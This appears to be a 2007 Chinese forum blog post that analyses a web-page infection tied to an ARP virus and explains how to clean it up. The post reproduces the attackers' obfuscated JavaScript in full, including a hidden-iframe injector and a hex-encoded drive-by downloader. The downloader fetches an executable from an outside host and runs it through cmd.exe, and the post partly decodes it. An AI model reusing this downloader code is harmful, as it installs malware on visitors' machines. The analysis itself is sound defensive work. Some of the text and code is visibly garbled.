本文目是探讨JS相关技术并不是以杀毒为主要目杀毒只是为讲解些JS做铺垫呵呵文章有点长倒杯咖啡或者清茶慢慢看学习切勿急躁！
最近公司网络中了这两天闹很欢ARP病毒导致大家都无法上网给工作带来了很大不方便在这里写下杀毒过程希望对大家能有帮助！
现象:打开部分网页显示为乱码好像是随机行为但是看似又不是它直在监视msn.com呵呵可能和微软有仇吧继续查看源代码发现头部有个js文件链接----<script src=http://9-6.in/n.js></script>；
来源:经过番网络搜索发现这个域名是印度域名而IP地址却是美国而且域名注册日期是7月25日看来切都是预谋好了还是不管这个了先解决问题吧；
分析:
1、先把(http://9-6.in/n.js)这个JS文件下载下来代码如下:
document.writeln("<script>window.onerror=function{ true;}<\/script>");
document.writeln("<script src=\"http:\/\/9-6.in\/S368\/NewJs2.js\"><\/script>");
document.writeln("<script>");
document.writeln("function StartRun{");
document.writeln("var Then = Date ");
document.writeln("Then.Time(Then.getTime + 24*60*60*1000)");
document.writeln("var cookieString = String(document.cookie)");
document.writeln("var cookieHeader = \"Cookie1=\" ");
document.writeln("var beginPosition = cookieString.indexOf(cookieHeader)");
document.writeln(" (beginPosition != -1){ ");
document.writeln("} ");
document.writeln("{ document.cookie = \"Cookie1=POPWINDOS;expires=\"+ Then.toGMTString ");
document.writeln("document.write(\'<rame width=0 height=0 src=\"http:\/\/9-6.IN\/s368\/T368.htm\"><\/rame>\');");
document.writeln("}");
document.writeln("}");
document.writeln("StartRun;");
document.writeln("<\/script>")
其中第句window.onerror=function{ true;}就先把JS屏蔽掉真够狠呵呵不这样如何隐藏自己呢哈哈！然后还有个JS文件http://9-6.in/S368/NewJs2.js先继续往下看找到StartRun;运行个主要作用是写COOKIE日期为保存天然后还用隐藏框架加载了个文件(http://9-6.IN/s368/T368.htm)其余就没有什么特别了；
2、下载(http://9-6.in/S368/NewJs2.js)这个文件代码如下:
StrInfo = "\x3c\x73\x63\x72\x69\x70\x74\x3e\x77\x69\x6e\x64\x6f\x77\x2e\x6f\x6e\x65\x72\x72\x6f\x72\x3d\x66\x75\x6e\x63\x74\x69\x6f\x6e\x28\x29\x7b\x72\x65\x74\x75\x72\x6e \x74\x72\x75\x65\x3b\x7d\x3c\x2f\x73\x63\x72\x69\x70\x74\x3e" +"\n"+
"\x3c\x73\x63\x72\x69\x70\x74\x3e" +"\n"+
" \x44\x5a\x3d\'\\\x78\x36\x38\\\x78\x37\x34\\\x78\x37\x34\\\x78\x37\x30\\\x78\x33\x41\\\x78\x32\x46\\\x78\x32\x46\\\x78\x33\x39\\\x78\x32\x44\\\x78\x33\x36\\\x78\x32\x45\\\x78\x36\x39\\\x78\x36\x45\\\x78\x32\x46\\\x78\x35\x33\\\x78\x33\x33\\\x78\x33\x36\\\x78\x33\x38\\\x78\x32\x46\\\x78\x35\x33\\\x78\x33\x33\\\x78\x33\x36\\\x78\x33\x38\\\x78\x32\x45\\\x78\x36\x35\\\x78\x37\x38\\\x78\x36\x35\'\x3b" +"\n"+
" \x4e\x6f\x73\x6b\x73\x6c\x61\x3d\'\'\x3b" +"\n"+
"\x66\x75\x6e\x63\x74\x69\x6f\x6e \x47\x6e\x4d\x73\x28\x6e\x29 " +"\n"+
"\x7b " +"\n"+
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" \x72\x65\x74\x75\x72\x6e \'\\\x78\x37\x45\\\x78\x35\x34\\\x78\x36\x35\\\x78\x36\x44\\\x78\x37\x30\'\x2b\x4d\x61\x74\x68\x2e\x72\x6f\x75\x6e\x64\x28\x6e\x75\x6d\x62\x65\x72\x4d\x73\x29\x2b\'\\\x78\x32\x45\\\x78\x37\x34\\\x78\x36\x44\\\x78\x37\x30\'\x3b" +"\n"+
"\x7d " +"\n"+
" \x74\x72\x79 " +"\n"+
"\x7b" +"\n"+
" \x4e\x6f\x73\x6b\x73\x6c\x61\x3d\'\'\x3b" +"\n"+
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" \x42\x66\x2e\x73\x65\x74\x41\x74\x74\x72\x69\x62\x75\x74\x65\x28\"\\\x78\x36\x33\\\x78\x36\x43\\\x78\x36\x31\\\x78\x37\x33\\\x78\x37\x33\\\x78\x36\x39\\\x78\x36\x34\"\x2c\"\\\x78\x36\x33\\\x78\x36\x43\\\x78\x37\x33\\\x78\x36\x39\\\x78\x36\x34\\\x78\x33\x41\\\x78\x34\x32\\\x78\x34\x34\\\x78\x33\x39\\\x78\x33\x36\\\x78\x34\x33\\\x78\x33\x35\\\x78\x33\x35\\\x78\x33\x36\\\x78\x32\x44\\\x78\x33\x36\\\x78\x33\x35\\\x78\x34\x31\\\x78\x33\x33\\\x78\x32\x44\\\x78\x33\x31\\\x78\x33\x31\\\x78\x34\x34\\\x78\x33\x30\\\x78\x32\x44\\\x78\x33\x39\\\x78\x33\x38\\\x78\x33\x33\\\x78\x34\x31\\\x78\x32\x44\\\x78\x33\x30\\\x78\x33\x30\\\x78\x34\x33\\\x78\x33\x30\\\x78\x33\x34\\\x78\x34\x36\\\x78\x34\x33\\\x78\x33\x32\\\x78\x33\x39\\\x78\x34\x35\\\x78\x33\x33\\\x78\x33\x36\"\x29\x3b" +"\n"+
" \x76\x61\x72 \x4b\x78\x3d\x42\x66\x2e\x43\x72\x65\x61\x74\x65\x4f\x62\x6a\x65\x63\x74\x28\"\\\x78\x34\x44\\\x78\x36\x39\\\x78\x36\x33\\\x78\x37\x32\\\x78\x36\x46\\\x78\x37\x33\\\x78\x36\x46\\\x78\x36\x36\\\x78\x37\x34\\\x78\x32\x45\\\x78\x35\x38\"\x2b\"\\\x78\x34\x44\\\x78\x34\x43\\\x78\x34\x38\\\x78\x35\x34\\\x78\x35\x34\\\x78\x35\x30\"\x2c\"\"\x29\x3b" +"\n"+
" \x76\x61\x72 \x41\x53\x3d\x42\x66\x2e\x43\x72\x65\x61\x74\x65\x4f\x62\x6a\x65\x63\x74\x28\"\\\x78\x34\x31\\\x78\x36\x34\\\x78\x36\x46\\\x78\x36\x34\\\x78\x36\x32\\\x78\x32\x45\\\x78\x35\x33\\\x78\x37\x34\\\x78\x37\x32\\\x78\x36\x35\\\x78\x36\x31\\\x78\x36\x44\"\x2c\"\"\x29\x3b" +"\n"+
" \x4e\x6f\x73\x6b\x73\x6c\x61\x3d\'\'\x3b" +"\n"+
" \x41\x53\x2e\x74\x79\x70\x65\x3d\x31\x3b" +"\n"+
" \x4e\x6f\x73\x6b\x73\x6c\x61\x3d\'\'\x3b" +"\n"+
" \x4b\x78\x2e\x6f\x70\x65\x6e\x28\"\\\x78\x34\x37\\\x78\x34\x35\\\x78\x35\x34\"\x2c \x44\x5a\x2c\x30\x29\x3b" +"\n"+
" \x4e\x6f\x73\x6b\x73\x6c\x61\x3d\'\'\x3b" +"\n"+
" \x4b\x78\x2e\x73\x65\x6e\x64\x28\x29\x3b" +"\n"+
" \x4e\x6f\x73\x6b\x73\x6c\x61\x3d\'\'\x3b" +"\n"+
" \x4e\x73\x31\x3d\x47\x6e\x4d\x73\x28\x39\x39\x39\x39\x29\x3b" +"\n"+
" \x4e\x6f\x73\x6b\x73\x6c\x61\x3d\'\'\x3b" +"\n"+
" \x76\x61\x72 \x63\x46\x3d\x42\x66\x2e\x43\x72\x65\x61\x74\x65\x4f\x62\x6a\x65\x63\x74\x28\"\\\x78\x35\x33\\\x78\x36\x33\\\x78\x37\x32\\\x78\x36\x39\\\x78\x37\x30\\\x78\x37\x34\\\x78\x36\x39\\\x78\x36\x45\\\x78\x36\x37\\\x78\x32\x45\\\x78\x34\x36\\\x78\x36\x39\\\x78\x36\x43\\\x78\x36\x35\\\x78\x35\x33\\\x78\x37\x39\\\x78\x37\x33\\\x78\x37\x34\\\x78\x36\x35\\\x78\x36\x44\\\x78\x34\x46\\\x78\x36\x32\\\x78\x36\x41\\\x78\x36\x35\\\x78\x36\x33\\\x78\x37\x34\"\x2c\"\"\x29\x3b" +"\n"+
" \x76\x61\x72 \x4e\x73\x54\x6d\x70\x3d\x63\x46\x2e\x47\x65\x74\x53\x70\x65\x63\x69\x61\x6c\x46\x6f\x6c\x64\x65\x72\x28\x30\x29\x3b \x4e\x73\x31\x3d \x63\x46\x2e\x42\x75\x69\x6c\x64\x50\x61\x74\x68\x28\x4e\x73\x54\x6d\x70\x2c\x4e\x73\x31\x29\x3b \x41\x53\x2e\x4f\x70\x65\x6e\x28\x29\x3b\x41\x53\x2e\x57\x72\x69\x74\x65\x28\x4b\x78\x2e\x72\x65\x73\x70\x6f\x6e\x73\x65\x42\x6f\x64\x79\x29\x3b" +"\n"+
" \x41\x53\x2e\x53\x61\x76\x65\x54\x6f\x46\x69\x6c\x65\x28\x4e\x73\x31\x2c\x32\x29\x3b \x41\x53\x2e\x43\x6c\x6f\x73\x65\x28\x29\x3b \x76\x61\x72 \x71\x3d\x42\x66\x2e\x43\x72\x65\x61\x74\x65\x4f\x62\x6a\x65\x63\x74\x28\"\\\x78\x35\x33\\\x78\x36\x38\\\x78\x36\x35\\\x78\x36\x43\\\x78\x36\x43\\\x78\x32\x45\\\x78\x34\x31\\\x78\x37\x30\\\x78\x37\x30\\\x78\x36\x43\\\x78\x36\x39\\\x78\x36\x33\\\x78\x36\x31\\\x78\x37\x34\\\x78\x36\x39\\\x78\x36\x46\\\x78\x36\x45\"\x2c\"\"\x29\x3b" +"\n"+
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" \x71\x2e\x53\x48\x65\x4c\x4c\x45\x78\x65\x63\x75\x74\x65\x28\x6f\x6b\x31\x2c\'\\\x78\x32\x30\\\x78\x32\x46\\\x78\x36\x33 \'\x2b\x4e\x73\x31\x2c\"\"\x2c\"\\\x78\x36\x46\\\x78\x37\x30\\\x78\x36\x35\\\x78\x36\x45\"\x2c\x30\x29\x3b" +"\n"+
" \x4e\x6f\x73\x6b\x73\x6c\x61\x3d\'\'\x3b" +"\n"+
"\x7d " +"\n"+
" \x63\x61\x74\x63\x68\x28\x4d\x73\x49\x29 \x7b \x4d\x73\x49\x3d\x31\x3b \x7d" +"\n"+
" \x4e\x6f\x73\x6b\x73\x6c\x61\x3d\'\'\x3b" +"\n"+
"\x3c\x2f\x73\x63\x72\x69\x70\x74\x3e"
window["\x64\x6f\x63\x75\x6d\x65\x6e\x74"]["\x77\x72\x69\x74\x65"](StrInfo);
这个代码有点长哦而且有保护措施全部转换为十 6进制不过不要害怕我们有办法解决首先得确保你已经安装了UE然后打开UE把代码粘贴进去(废话呵呵)把\x替换为%然后用html代码转换功能解码就可以得到第次解码代码第次？？？呵呵这个代码作者很变态做了两次编码所以我得进行两次解码才行重复刚才步骤然后你就可以看到最终“原始”代码了；
具体代码我就不帖出来了有定危害性相信大家看了上面步骤都能自己找到代码这里的说下比较核心代码吧；
[Copy to clipboard] [ - ]CODE:
//核心代码
..............
" var Bf=document.createElement(\"\o\b\j\e\c\t\");" +"\n"+
" Bf.Attribute(\"\c\l\a\s\s\i\d\",\"\c\l\s\i\d\:\B\D\9\6\C\5\5\6\-\6\5\A\3\-\1\1\D\0\-\9\8\3\A\-\0\0\C\0\4\F\C\2\9\E\3\6\");" +"\n"+
" var Kx=Bf.CreateObject(\"\M\i\c\r\o\s\o\f\t\.\X\"+\"\M\L\H\T\T\P\",\"\");" +"\n"+
" var AS=Bf.CreateObject(\"\A\d\o\d\b\.\S\t\r\e\a\m\",\"\");" +"\n"+
.............
" var cF=Bf.CreateObject(\"\S\c\r\i\p\t\i\n\g\.\F\i\l\e\S\y\s\t\e\m\O\b\j\e\c\t\",\"\");" +"\n"+
" var NsTmp=cF.GetSpecialFolder(0); Ns1= cF.BuildPath(NsTmp,Ns1); AS.Open;AS.Write(Kx.responseBody);" +"\n"+
" AS.SaveToFile(Ns1,2); AS.Close; var q=Bf.CreateObject(\"\S\h\e\l\l\.\A\p\p\l\i\c\a\t\i\o\n\",\"\");" +"\n"+
" ok1=cF.BuildPath(NsTmp+\'\\\\\s\y\s\t\e\m\3\2\',\'\c\m\d\.\e\x\e\');" +"\n"+
" q.SHeLLExecute(ok1,\'\ \/\c \'+Ns1,\"\",\"\o\p\e\n\",0);" +"\n"+
..............
上面就是最为核心代码利用MS0614漏洞、创建JS异步对象获取病毒(*.exe)文件然后运行这样就达到它目啦！
3、打开http://9-6.IN/s368/T368.htm查看源代码又发现段怪异JS文件如下:
[Copy to clipboard] [ - ]CODE:
<script>
eval(function(p,a,c,k,e,d){e=function(c){ c.toString(36)};(!''.replace(/^/,String)){while(c--)d[c.toString(a)]=k[c]||c.toString(a);k=[function(e){ d[e]}];e=function{'\\w+'};c=1};while(c--)(k[c])p=p.replace( RegExp('\\b'+e(c)+'\\b','g'),k[c]); p}('x("\\0\\6\\9\\5\\i\\h\\j\\j\\4\\f\\8\\3\\2\\0\\7\\1\\i\\8\\2\\3\\h\\g\\4\\w\\v\\u\\t\\b\\s\\7\\r\\g\\4\\e\\f\\q\\8\\3\\2\\0\\7\\1\\e\\4\\d\\c\\d\\c\\p\\5\\3\\o\\n\\a\\6\\1\\b\\m\\2\\0\\1\\a\\l\\0\\6\\9\\5\\k")',34,34,'151|164|162|143|42|157|156|160|163|146|145|56|12|15|76|74|134|75|40|11|51|50|167|155|165|144|57|147|152|70|66|63|123|eval'.split('|'),0,{}))
</script>

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bound0 2007-8-6 19:01 威望 +1 鼓励研究精神！:D
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veking [楼主]
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注册 2005-6-16
#2发表于 2007-8-6 16:06 资料 短消息 加为好友
解析arp病毒背后利用Javascript技术

可以看出这段代码也是经过加密了特征为function(p,a,c,k,e,d)这种加密思路方法网上有很多例子我就不细说了附上解密代码:
[Copy to clipboard] [ - ]CODE:
//以下代码为网上搜索所得版权归原作者所有
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta http-equiv="Content-Type" content="text/html; char=utf-8" />
<title>无标题文档</title>
</head>
<body>
<script>
a=62;
function encode {
var code = document.getElementById('code').value;
code = code.replace(/[\r\n]+/g, '');
code = code.replace(/'/g, "\\'");
var tmp = code.match(/\b(\w+)\b/g);
tmp.sort;
var dict = ;
var i, t = '';
for(var i=0; i<tmp .length; i) {
(tmp[i] != t) dict.push(t = tmp[i]);
}
var len = dict.length;
var ch;
for(i=0; i<len; i) {
ch = num(i);
code = code.replace( RegExp('\\b'+dict[i]+'\\b','g'), ch);
(ch dict[i]) dict[i] = '';
}
document.getElementById('code').value = "eval(function(p,a,c,k,e,d){e=function(c){(c<a?'':e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){ d[e]}];e=function{'\\\\w+'};c=1};while(c--)(k[c])p=p.replace( RegExp('\\\\b'+e(c)+'\\\\b','g'),k[c]); p}("
+ "'"+code+"',"+a+","+len+",'"+ dict.join('|')+"'.split('|'),0,{}))";
}
function num(c) {
(c<a ?'':num(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36));
}
function run {
eval(document.getElementById('code').value);
}
function decode {
var code = document.getElementById('code').value;
code = code.replace(/^eval/, '');
document.getElementById('code').value = eval(code);
}
</script>
<textarea id=code cols=80 rows=20>
</textarea><br />
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又是好长代码又发现了function(p,a,c,k,e,r)继续解码代码很长请大家自己解码查看吧这里应用还是上面手法用加密加密然后转换为十 6进制尽最大努力混淆我们视线来达到不可告人目这里代码主要作用是用另外种思路方法下载病毒并运行思想真很先进居然是去Web迅雷来下载病毒然后去运行作者真是煞费苦心啊应用了两种思路方法下载病毒“小样就不信毒不倒你！”呵呵
杀毒:说了半天只是分析了下ARP病毒发作时候在干什么下面就说下有关杀毒问题其实现在网上有很多这方面相关教程我就简单整理总结下我杀毒过程吧；
1、中了arp病毒必须要先找到中毒机器
2、给这个机器断网、杀毒
3、恢复局域网
其中第步最关键了如何才能找到呢？
在局域网随便台客户机上打开网上邻居查看工作组计算机然后等到列表刷新出来后迅速点击开始-->运行-->cmd-->arp -a回车如果机器比较多请多输入几次arp -a然后仔细查看你会发现有台机器Mac地址和网关Mac地址相同恭喜你这就是那个毒源！
到这台机器跟前(呵呵废话真多)剩下工作相信大家都有很多经验了吧杀毒！装杀毒软件Software或者进安全模式更甚者重装机器总的把病毒干掉就行了；
最后到不能打开网页机器上执行这个命令:点击开始-->运行-->cmd-->arp -d回车然后就可以了、
终于切又恢复了平静是不是很有成就感呢呵呵！
本人第篇正式BLOG技术文章终于写完了希望大家能喜欢看！